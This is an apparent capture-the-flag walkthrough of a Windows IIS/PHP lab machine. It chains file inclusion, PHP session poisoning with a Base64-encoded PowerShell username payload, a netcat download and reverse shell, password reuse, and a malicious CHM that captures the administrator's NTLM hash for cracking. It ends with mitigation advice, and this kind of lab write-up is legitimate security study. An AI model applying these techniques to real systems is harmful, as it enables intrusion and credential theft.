Overview
Windows Server 2019 (Build 10.0.17763). Attacker IP (tun0): 10.10.14.x. Key techniques: LFI/RFI, PHP session poisoning, blacklist bypass, PSCredential lateral movement, malicious CHM, Net-NTLMv2 capture and crack.
| |
Reconnaissance
| |
Result: Windows, IIS, a PHP server. The “Sniper Co.” site has a login page and a blog.
Changing the blog language reveals a file-load pattern via a GET parameter:
| |
lang loads a file by name, a candidate for LFI.
Initial Access
Local File Inclusion
Path traversal (../) does not work (a filter). An absolute path does:
| |
The default IIS web root is C:\inetpub\wwwroot; the blog is in ...\wwwroot\blog\.
LFI to RCE, PHP session poisoning
PHP stores session files in C:\Windows\TEMP as sess_<PHPSESSID>. With LFI we can read
our own session file, and its username field is controllable at registration.
Register and log in a test user (for example
guest).Extract
PHPSESSIDfrom the cookie (DevTools -> Storage/Cookies).Read the session file through LFI:
1 2curl -s -G 'http://10.10.10.x/blog/' \ --data-urlencode 'lang=\windows\temp\sess_<YOUR_PHPSESSID>'
The response shows username|s:<len>:"<name>";, so the username is written to a file PHP
interprets. If the username is PHP code, it executes.
Test payload (RCE PoC):
| |
Backticks in PHP are an alias for exec(). Register a user with this name, log in (so PHP
overwrites the session file with the new username), then trigger execution by loading
the session file through LFI. The result shows iusr, so RCE as NT AUTHORITY\IUSR.
Blacklist bypass
Registration rejects usernames containing certain characters:
| |
Bypass with Base64 + PowerShell /enc. The Base64 alphabet (A-Z a-z 0-9 + / =) contains
none of the forbidden characters.
| |
Windows PowerShell -EncodedCommand (/enc) expects Base64 of UTF-16LE.
Final payload:
| |
Payload-generation pitfalls
Three independent problems can block the foothold, and the errors are silent.
echo in zsh interprets \n. Kali defaults to zsh, whose built-in echo interprets
escape sequences. In the target path:
| |
The backslash disappears and the path splits over two lines:
| |
The decoded payload becomes:
| |
The path is broken, wget gets a junk argument, nothing downloads, no error. Use
printf '%s' with single quotes, never echo:
| |
Alternatives: echo -E '...' (disables escape in zsh), print -r -- '...'.
Always verify the payload by decoding it back:
| |
username length limit (~189 chars). The captured session shows username|s:189:"...",
so ~189-200 chars is the ceiling.
wgetpayload after encoding is ~164 chars, passes.(New-Object Net.WebClient).DownloadFile(...)is ~260 chars, rejected (“cannot create user”).
Keep commands short.
+ and / in Base64 break the form. In a POST
(application/x-www-form-urlencoded), + decodes to a space. Check:
| |
If +// appear, tweak the command slightly (a different filename/port) so the output is
clean.
Download method choice on Windows:
| Method | Length | Notes |
|---|---|---|
wget ... -o ... (alias for Invoke-WebRequest) | short (~164) | Matches the walkthrough. Only fails via the zsh \n bug. |
certutil -urlcache -f <url> <dst> | ~200 (borderline) | Solid, a different mechanism; sometimes flagged by AV. |
(New-Object Net.WebClient).DownloadFile(...) | ~260 | Reliable but too long for this field. |
Recommendation for Sniper: a short wget generated with printf.
Lateral Movement
Reverse shell as IUSR
Serve nc64.exe from the attacker’s directory:
| |
Payload 1, download (via printf):
| |
| |
After the LFI trigger, the http.server window must show GET /nc64.exe (proof the file
downloaded).
Payload 2, execution (listener on 443):
| |
| |
| |
Workflow for every payload: new user with the payload in the name, log in (overwrites the
session file), LFI on the current sess_<PHPSESSID>.
Alternative, RFI + SMB:
| |
| |
Lateral movement to SNIPER\chris (user flag)
Password leak from db.php:
| |
MySQL password:
| |
net users reveals the local user chris. Hypothesis: the DB password is reused. IUSR
has no interactive session for chris, so build a PSCredential and run commands via
Invoke-Command (targeting LOCALHOST):
| |
$password = ... typed in a raw cmd.exe reverse shell fails with
'$password' is not recognized. Enter PowerShell (powershell.exe) first. Keep
ConvertTo-SecureString ... -String "..." on one line, or you get
Missing an argument for parameter 'String'.
Shell as chris:
| |
If you downloaded nc64.exe, run nc64.exe (not nc.exe). If wget -o in
Invoke-Command raises Invalid URI: The hostname could not be parsed, that is a broken
line; paste the scriptblock as one line.
User flag: C:\Users\chris\Desktop\user.txt.
Privilege Escalation
CEO note
| |
It indicates the administrator reviews documentation (.chm files) dropped into
C:\Docs\. C:\Users\chris\Downloads\ contains instructions.chm. Classic vector: the
admin opens a dropped .chm, so we can force authentication to our host and capture the
hash.
Malicious CHM with a UNC link
Source HTML with a UNC reference (forces an SMB connection on open):
| |
Compile to .chm with HTML Help Workshop (htmlhelp.exe) on a Windows machine:
File -> New -> Project, add the HTML file, Compile, producing instructions.chm.
Capture the hash (Responder) and drop the CHM
| |
| |
Shortly after, Responder logs the administrator’s Net-NTLMv2.
Cracking:
| |
| |
-m 5600 is Net-NTLMv2.
Shell as Administrator
| |
| |
Root flag: C:\Users\Administrator\Desktop\root.txt.
Detection and Mitigation
- LFI: whitelist allowed language files instead of a dynamic include; disable
user-controlled include paths;
allow_url_include=Off,open_basedir. - Session poisoning: do not write untrusted data (username) to a session without sanitization; store sessions outside the web root and out of include range.
- RFI/SMB: block outbound SMB (445/139); this kills both RFI and Net-NTLMv2 leaks.
- Credential reuse: unique passwords per account; no plaintext passwords in web files
(
db.php); least privilege for IUSR. - CHM / internal phishing: do not open documents from untrusted locations; block
.chmfrom the internet; SMB signing and disabling NTLM where possible. - Hash cracking: long, random passwords resistant to rockyou; monitor NTLM auth anomalies.
Lessons Learned
echoin zsh interprets\n; useprintf '%s'with single quotes when generating payloads with Windows backslash paths.- Always verify a payload by decoding it back (
base64 -d | iconv | cat -A); silent encoding errors are the worst. - Know your input-field limits: length (~189) and alphabet (avoid
+//in Base64). - cmdlets (
ConvertTo-SecureString,New-Object,Invoke-Command) only work after enteringpowershell.exe. - Keep command lines on one line; a broken line gives misleading errors (
Invalid URI,Missing an argument). - Match the binary name (
nc.exe!=nc64.exe). - PSCredential is a useful lateral-movement mechanism without an interactive session.
Command Reference
| |
Username pattern: <?=`powershell /enc <BASE64>`?>